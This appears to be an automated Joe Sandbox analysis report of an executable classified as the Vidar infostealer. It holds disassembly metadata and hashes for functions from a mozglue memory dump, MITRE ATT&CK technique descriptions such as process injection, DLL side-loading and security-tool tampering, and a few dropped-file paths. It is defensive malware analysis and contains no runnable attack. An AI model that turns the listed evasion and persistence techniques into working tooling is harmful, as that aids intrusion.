Part of subcall function 6BCE8DC0: moz_xmalloc.MOZGLUE(00000038,?,?,00000000,?,6BD006E6,?,?,00000008,?,?,?,?,?,?,?), ref: 6BCE8DCC

Part of subcall function 6BCF0B60: moz_xmalloc.MOZGLUE(00000080,?,?,?,?,6BCF138F,?,?,?), ref: 6BCF0B80

?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,00000001,?,?,6BCF138F,?,?,?), ref: 6BCF0B27
free.MOZGLUE(?,?,?,?,?,6BCF138F,?,?,?), ref: 6BCF0B3F

Strings

baseprofiler::profiler_capture_backtrace, xrefs: 6BCF0AB5

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: moz_xmalloc$?ensure?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CapacityCaptureChunkedOptions@2@@ProfileProfilingSlow@StackStack@baseprofiler@mozilla@@free
String ID: baseprofiler::profiler_capture_backtrace
API String ID: 3592261714-147032715
Opcode ID: f153ebf4db78d1e5f09b98690611e8949cca246d7c936f135655e599e1f66574
Instruction ID: b37a60e4fd28cb61fe1c1b795f31f07255f482331edc543aaf549ce5c17566b1
Opcode Fuzzy Hash: f153ebf4db78d1e5f09b98690611e8949cca246d7c936f135655e599e1f66574
Instruction Fuzzy Hash: 8021E774B102059BEB04DF64C851BBFB37AAF85B08F1004ADD9155B341F778AB42CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6BCAF180 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(?,?), ref: 6BCAF19B

Part of subcall function 6BCCD850: EnterCriticalSection.KERNEL32(?), ref: 6BCCD904
Part of subcall function 6BCCD850: LeaveCriticalSection.KERNEL32(?), ref: 6BCCD971
Part of subcall function 6BCCD850: memset.VCRUNTIME140(?,00000000,?), ref: 6BCCD97B

mozalloc_abort.MOZGLUE(?), ref: 6BCAF209

Strings

d, xrefs: 6BCAF1F5

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: CriticalSection$EnterLeavecallocmemsetmozalloc_abort
String ID: d
API String ID: 3775194440-2564639436
Opcode ID: 5580bdecd60d50d5580f8fc6c6ca82f0af68ab0eac4ffe1245db9c2e486ed056
Instruction ID: bde39943a444653b8b955b9aae2107087f02d20848200586a9f0b57af23e2fdf
Opcode Fuzzy Hash: 5580bdecd60d50d5580f8fc6c6ca82f0af68ab0eac4ffe1245db9c2e486ed056
Instruction Fuzzy Hash: DD113A32E2164A8BEB048F68D9621BEF765DF96308B41522DDD05EB211FB74DB84C390

Uniqueness

Uniqueness Score: -1.00%

Function 6BCBCA10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?), ref: 6BCBCA26

Part of subcall function 6BCBCAB0: EnterCriticalSection.KERNEL32(?), ref: 6BCBCB49
Part of subcall function 6BCBCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6BCBCBB6

mozalloc_abort.MOZGLUE(?), ref: 6BCBCAA2

Strings

d, xrefs: 6BCBCA6C

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: CriticalSection$EnterLeavemallocmozalloc_abort
String ID: d
API String ID: 3517139297-2564639436
Opcode ID: 204eba1aa1cce4515cb58419272b6c150fe53816436eb723639315e5ea0b69fb
Instruction ID: a8c51b30383c88e27443a108dd130461c5783e1dab6bba06466a5cd5dd4c1437
Opcode Fuzzy Hash: 204eba1aa1cce4515cb58419272b6c150fe53816436eb723639315e5ea0b69fb
Instruction Fuzzy Hash: 23110431E2069893EB01CB68C8511FEF375EFA6204F459229DD59AB212FB78E6C5C390

Uniqueness

Uniqueness Score: -1.00%

Function 6BCC1A50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

realloc.MOZGLUE(?,?), ref: 6BCC1A6B

Part of subcall function 6BCC1AF0: EnterCriticalSection.KERNEL32(?), ref: 6BCC1C36

mozalloc_abort.MOZGLUE(?), ref: 6BCC1AE7

Strings

d, xrefs: 6BCC1AB1

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: CriticalEnterSectionmozalloc_abortrealloc
String ID: d
API String ID: 2670432147-2564639436
Opcode ID: 03b5930ccfc970b52cb3ab906988c653f7d73a6a6cf3f4a26bd647e15ea9daaa
Instruction ID: 14a5358e133a84874905406b7d3e89b11c7e61437ac5e2b4cceca1ae1617a05f
Opcode Fuzzy Hash: 03b5930ccfc970b52cb3ab906988c653f7d73a6a6cf3f4a26bd647e15ea9daaa
Instruction Fuzzy Hash: 9D113631E2069C93DB048BADC8114FEF375EFA5204F458619DD495B212FB74E6C5C381

Uniqueness

Uniqueness Score: -1.00%

Function 6BD05900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32(MOZ_SKELETON_UI_RESTARTING,6BD251C8), ref: 6BD0591A
CloseHandle.KERNEL32(FFFFFFFF), ref: 6BD0592B

Strings

MOZ_SKELETON_UI_RESTARTING, xrefs: 6BD05915

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: CloseEnvironmentHandleVariable
String ID: MOZ_SKELETON_UI_RESTARTING
API String ID: 297244470-335682676
Opcode ID: 9c0d6d15b832a79b621bf3ff9733013cb030e2d0529d7fb199626f0e6fe89ac6
Instruction ID: 56b0e9ff33b0db8f60d3551764ec97cbff50954d53215c5586ffab49d11531f7
Opcode Fuzzy Hash: 9c0d6d15b832a79b621bf3ff9733013cb030e2d0529d7fb199626f0e6fe89ac6
Instruction Fuzzy Hash: 89E01230104280E7EB018B68D548745BFD4AB1773EF044545EBA99B6D1C7B9984487A1

Uniqueness

Uniqueness Score: -1.00%

Function 6BD059C0 Relevance: 5.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?,?,?,?,?,?,?,?,00000008,?,6BCDE56A,?,|UrlbarCSSSpan,0000000E,?), ref: 6BD05A47
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,00000008,?,6BCDE56A,?,|UrlbarCSSSpan), ref: 6BD05A5C
free.MOZGLUE(?), ref: 6BD05A97
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000010), ref: 6BD05B9D

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: free$mallocmemset
String ID:
API String ID: 2682772760-0
Opcode ID: 21df6fc04424b6ea28d78d09ca761e6cbfaf6c202682b933d274ce3bc72812b6
Instruction ID: 312db6c05caf0543655dfe1df2a729270342b4c468884dfe191b85a108384166
Opcode Fuzzy Hash: 21df6fc04424b6ea28d78d09ca761e6cbfaf6c202682b933d274ce3bc72812b6
Instruction Fuzzy Hash: 31513F705087409FD700CF29C8C071BB7E5EF8A728F04896EE9899F246DB78E945DB66

Uniqueness

Uniqueness Score: -1.00%

Function 6BCB23D8 Relevance: 5.1, APIs: 4, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad9cff11dbfa43176f51a1ae23ed12c65bf55134e375d0e9054fdadbc92286bc
Instruction ID: c8278ec85be9c1243bfd11358be552196c6e234b1230f0c3d1a9b5c9d5fba061
Opcode Fuzzy Hash: ad9cff11dbfa43176f51a1ae23ed12c65bf55134e375d0e9054fdadbc92286bc
Instruction Fuzzy Hash: 77519EB1A112068FDB04CF59C9A0B8EBFB1BF08314F158269D9199F341E775EA95CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6BD06180 Relevance: 5.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6BD061DD
memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6BD0622C
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6BD06250
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BD06292

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 55077daae61a6c27803bbeba8117d679d11bd18a27e88d6311ab02970d777f1a
Instruction ID: d229559ca818ff6907b187d7dc1efc69fd725116ec20ac549a6892b4bc162cc3
Opcode Fuzzy Hash: 55077daae61a6c27803bbeba8117d679d11bd18a27e88d6311ab02970d777f1a
Instruction Fuzzy Hash: 7E312671E0060A8FDB04CF38D880AAA73E9FF95314F10417AD55ACF251EB35E698C750

Uniqueness

Uniqueness Score: -1.00%

Function 6BCBBBE0 Relevance: 5.1, APIs: 4, Instructions: 96COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000010,?,?,?,?,?,?,?,?,?,?,?,?,?,00000008), ref: 6BCBBBF4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,00000008), ref: 6BCBBC66
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000008), ref: 6BCBBC96
memcpy.VCRUNTIME140(00000000,00000010,0000001F,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BCBBCCE

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: b8736a8282de22123a7cc212c3fca0913d4fa09f2206c9deaed4bb62f5e3a724
Instruction ID: 31320aecaa85a925c9c6d119c76dfeef544704961889c891dc6ca4c8ac21e3d1
Opcode Fuzzy Hash: b8736a8282de22123a7cc212c3fca0913d4fa09f2206c9deaed4bb62f5e3a724
Instruction Fuzzy Hash: DE214371B206084BF710CF79CCC532EB2E9EB81344F144939DA9ADA391FE74EA848361

Uniqueness

Uniqueness Score: -1.00%

Function 6BCA39A0 Relevance: 5.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BD2E744,6BD07765,00000000,6BD07765,?,6BCC6112), ref: 6BCA39AF
LeaveCriticalSection.KERNEL32(6BD2E744,?,6BCC6112), ref: 6BCA3A34
EnterCriticalSection.KERNEL32(6BD2E784,6BCC6112), ref: 6BCA3A4B
LeaveCriticalSection.KERNEL32(6BD2E784), ref: 6BCA3A5F

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 84d7a426c2f3ca1f5b0a7f27af3d58039061d8162a9886e05ccefc1d70591c5c
Instruction ID: d29154acb4ee8b85a567ba5499e0dec0f3196dc814a3ea0482c142c5ac450c05
Opcode Fuzzy Hash: 84d7a426c2f3ca1f5b0a7f27af3d58039061d8162a9886e05ccefc1d70591c5c
Instruction Fuzzy Hash: 60210732A217424FD7248F75C455A26F3B1FB85764724062AD7658B780F738ED01C741

Uniqueness

Uniqueness Score: -1.00%

Function 6BCBB940 Relevance: 5.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6BCBB96F
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020), ref: 6BCBB99A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6BCBB9B0
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BCBB9B9

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: memcpy$freemalloc
String ID:
API String ID: 3313557100-0
Opcode ID: c6b247385bc65ca34f4e1fe77b91c5cb631cdc0856cf4fe95cfa5a58ec920dc5
Instruction ID: 6b544526d88c233ca6006da5a224ba8d068b152ca6804e7126bc470cc1c97dfe
Opcode Fuzzy Hash: c6b247385bc65ca34f4e1fe77b91c5cb631cdc0856cf4fe95cfa5a58ec920dc5
Instruction Fuzzy Hash: 251142B1E042059FDB04CF69D88089FB7F8FF98214B14453AE919D7311E775EA15CAA1

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\$Recycle.Bin\S-1-5-18\desktop.ini

C:\ProgramData\BFIIEHJDBKJKECBFHDGHJKEHIJ

